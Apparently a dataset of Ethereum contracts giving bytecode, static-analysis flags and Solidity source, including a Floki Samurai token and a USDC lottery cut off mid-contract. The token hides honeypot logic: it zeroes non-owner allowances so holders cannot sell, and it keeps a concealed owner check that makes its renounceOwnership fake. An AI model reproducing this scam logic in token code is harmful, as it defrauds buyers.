2be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205eb6eb04d185ea84bd482643e56fadd5ece48cb66f86039d144b899b8fa76a4164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,952 |
0x639e04fc1ac148e2f5861894f870b7d40f048e1b
|
/**
*Submitted for verification at Etherscan.io on 2022-01-02
*/
/*
⚔️ FLOKI SAMURAI ⚔️
The dust settles after a break in battle, but the war is not over. Shiba's warrior run has merely made a path for the new dog in town.
FLOKIRAI charges into the midst of weakened Shiba to lay down a new creed. The age of fighting Floki begins behind the banner of Floki Samurai's Way of the Warrior.
Join with our team of elite developers & marketers, in introducing the Samurai Way of the Warrior to crypto, through honor, loyalty, and a moonshot mission.
Proven team, with history of taking projects to the moon.
Tokenomics
5% Marketing/Exchanges
4% Liquidity
2% Ecosystem Development
2% Reflections
Socials
Website: https://Flokirai.com
Telegram: https://t.me/Flokirai
Twitter: https://twitter.com/flokiraitoken
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract FlokiSamurai is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12* 10**18;
string private _name = 'Floki Samurai ' ;
string private _symbol = 'Flokirai ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122053d5b1b5c0488dc8da363cfb4d077d947c9dce6e3f421f21b4cb9f804ff5d48664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,953 |
0x21334f8b55e311300368c52eC3AE1f663E94c5e7
|
/**
*Submitted for verification at Etherscan.io on 2021-04-01
*/
pragma solidity ^0.6.9;
//SPDX-License-Identifier: UNLICENSED
library SafeMathChainlink {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
contract VRFRequestIDBase {
function makeVRFInputSeed(bytes32 _keyHash, uint256 _userSeed,
address _requester, uint256 _nonce)
internal pure returns (uint256)
{
return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce)));
}
function makeRequestId(
bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed));
}
}
abstract contract VRFConsumerBase is VRFRequestIDBase {
using SafeMathChainlink for uint256;
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal virtual;
function requestRandomness(bytes32 _keyHash, uint256 _fee, uint256 _seed)
internal returns (bytes32 requestId)
{
LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, _seed));
uint256 vRFSeed = makeVRFInputSeed(_keyHash, _seed, address(this), nonces[_keyHash]);
nonces[_keyHash] = nonces[_keyHash].add(1);
return makeRequestId(_keyHash, vRFSeed);
}
LinkTokenInterface immutable internal LINK;
address immutable private vrfCoordinator;
mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces;
constructor(address _vrfCoordinator, address _link) public {
vrfCoordinator = _vrfCoordinator;
LINK = LinkTokenInterface(_link);
}
function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external {
require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill");
fulfillRandomness(requestId, randomness);
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CandorFiv2 is VRFConsumerBase{
uint[] private entryArray;
address[] public userAddresses;
address public owner;
uint public totalEntry;
uint public round;
address[] public winners;
uint[] public winningNumbers;
uint public ticketPrice = 10 * 1e6; // 10$ ticket price (6 decimals)
uint public poolLimit = 200000 * 1e6; // 200000$ pool limit
uint public adminFee = 50; // 50% admin fee
uint[10] public rewardArray = [500,250,100,70,30,10,10,10,10,10]; // Change here (Prize % with an additional 0, for 50% use 500)
IERC20 public token;
bytes32 internal keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
uint internal fee;
uint public randomResult;
uint public oldRandomResult;
struct User{
bool isEntered;
uint totalEntries;
bool isPicked;
}
modifier onlyOwner{
require(msg.sender == owner,"Only owner allowed");
_;
}
mapping(uint => address) public entryMapping;
mapping(uint => mapping(address => User)) public userInfo;
event RandomNumberGenerated(bytes32,uint256);
event EntryComplete(address,uint,uint);
event WinnerPicked(address[],uint[]);
function setTicketPrice(uint value) external onlyOwner{
ticketPrice = value;
}
function setPoolLimit(uint value) external onlyOwner{
poolLimit = value;
}
function setAdminFee(uint value) external onlyOwner{
adminFee = value;
}
function withdrawLink(uint value) external onlyOwner {
require(LINK.transfer(msg.sender, value), "Unable to transfer");
}
function transferOwnership(address newOwner) external onlyOwner{
owner = newOwner;
}
//Mainnet network
constructor() VRFConsumerBase (
0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, //VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA //LINK token
) public {
fee = 2000000000000000000; // 2 LINK
owner = msg.sender;
token = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC contract address
}
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
randomResult = randomness;
emit RandomNumberGenerated(requestId,randomResult);
}
function getRandomNumber() public onlyOwner returns (bytes32 requestId) {
require(LINK.balanceOf(address(this)) > fee, "Not enough LINK - fill contract with faucet");
winners = new address[](0);
winningNumbers = new uint[](0);
return requestRandomness(keyHash, fee, getSeed());
}
function enterLottery(uint256 amount) external {
require(amount >= ticketPrice && amount <= (poolLimit / 10),"Invalid amount!"); //Change here
require(!userInfo[round][msg.sender].isEntered,"Already entered!");
require(token.allowance(msg.sender,address(this)) >= amount,"Set allowance first!");
bool success = token.transferFrom(msg.sender,address(this),amount);
require(success,"Transfer failed");
require(token.balanceOf(address(this)) <= poolLimit,"Pool already full");
uint ticketCount = amount.div(ticketPrice);
require((totalEntry + ticketCount) <= (poolLimit / ticketPrice),"Buy lower amount of tickets");
userInfo[round][msg.sender].totalEntries = ticketCount;
userInfo[round][msg.sender].isEntered = true;
entryArray.push(totalEntry);
entryMapping[totalEntry] = msg.sender;
totalEntry += ticketCount;
userAddresses.push(msg.sender);
emit EntryComplete(msg.sender,amount,ticketCount);
}
function pickWinner() external onlyOwner{
require(userAddresses.length >= 10,"Atleast 10 participants"); //Change here
require(totalEntry >= 50,"Minimum 50 tickets sold");
require(oldRandomResult != randomResult,"Update random number first!");
uint i;
uint winner;
address wonUser;
uint tempRandom;
uint totalBalance = token.balanceOf(address(this));
token.transfer(owner,(totalBalance * adminFee) / 100);
totalBalance -= (totalBalance * adminFee) / 100;
while(i<10){ //Change here
winner = calculateWinner((randomResult % totalEntry));
wonUser = entryMapping[winner];
winners.push(wonUser);
winningNumbers.push(randomResult % totalEntry);
token.transfer(wonUser,(totalBalance * rewardArray[i]) / 1000);
i++;
tempRandom = uint(keccak256(abi.encodePacked(randomResult, now, i)));
randomResult = tempRandom;
}
emit WinnerPicked(winners,winningNumbers);
oldRandomResult = randomResult;
totalEntry = 0;
entryArray = new uint[](0);
userAddresses = new address[](0);
round++;
}
